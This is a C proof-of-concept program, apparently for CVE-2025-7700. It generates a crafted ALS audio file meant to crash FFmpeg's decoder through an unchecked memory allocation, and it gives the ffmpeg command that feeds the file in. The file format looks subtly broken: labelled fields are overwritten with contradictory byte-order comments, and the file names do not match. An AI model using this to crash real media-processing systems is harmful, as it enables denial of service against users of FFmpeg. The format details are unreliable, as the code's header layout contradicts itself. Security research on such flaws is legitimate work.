/*
* CVE-2025-7700 PoC - FFmpeg ALS Decoder Memory Allocation Failure
* This PoC demonstrates the vulnerability in FFmpeg's ALS audio decoder
* where memory allocation failures are not properly checked.
*
* Note: This is for educational and security research purposes only.
* DO NOT use for malicious activities.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Simplified ALS header structure for PoC demonstration
typedef struct {
unsigned int sample_rate;
unsigned int channels;
unsigned int bits_per_sample;
unsigned int frame_size;
unsigned int crc_enabled;
} ALSHeader;
// Function to create a malicious ALS file that triggers memory allocation failure
void create_malicious_als_file(const char* filename) {
FILE *fp = fopen(filename, "wb");
if (!fp) {
printf("Failed to create file\n");
return;
}
// ALS file header with malicious parameters
unsigned char header[44] = {
0x41, 0x4C, 0x53, 0x00, // Magic: "ALS\0"
0x00, 0x00, 0x00, 0x00, // Version
0x00, 0x00, 0x00, 0x00, // Header size
0x00, 0x00, 0x00, 0x00, // Data length
};
// Set parameters that will trigger large memory allocation
// High sample rate and large frame size
header[4] = 0xBB; // Sample rate high byte
header[5] = 0xF5; // Sample rate
header[6] = 0x02; // Sample rate low byte
header[7] = 0x00;
// Set frame size to trigger allocation failure
header[16] = 0xFF; // Large frame size
header[17] = 0xFF;
header[18] = 0xFF;
header[19] = 0xFF;
fwrite(header, 1, sizeof(header), fp);
// Add malicious frame data
unsigned char frame_data[1024];
memset(frame_data, 0xFF, sizeof(frame_data));
fwrite(frame_data, 1, sizeof(frame_data), fp);
fclose(fp);
printf("Malicious ALS file created: %s\n", filename);
}
int main() {
printf("CVE-2025-7700 PoC Generator\n");
printf("============================\n");
// Create the malicious file
create_malicious_als_file("malicious_als_audio.als");
printf("\nTo trigger the vulnerability, process this file with FFmpeg:\n");
printf("ffmpeg -i malicious_als_audio.als output.wav\n");
return 0;
}
/*
* FFmpeg Command to trigger vulnerability:
* ffmpeg -i malicious_als.als output.wav
*
* Expected result: FFmpeg process crash with SIGSEGV
*
* Root cause: The ALS decoder does not check if memory allocation
* succeeded before using the allocated pointer, leading to NULL
* pointer dereference when allocation fails.
*/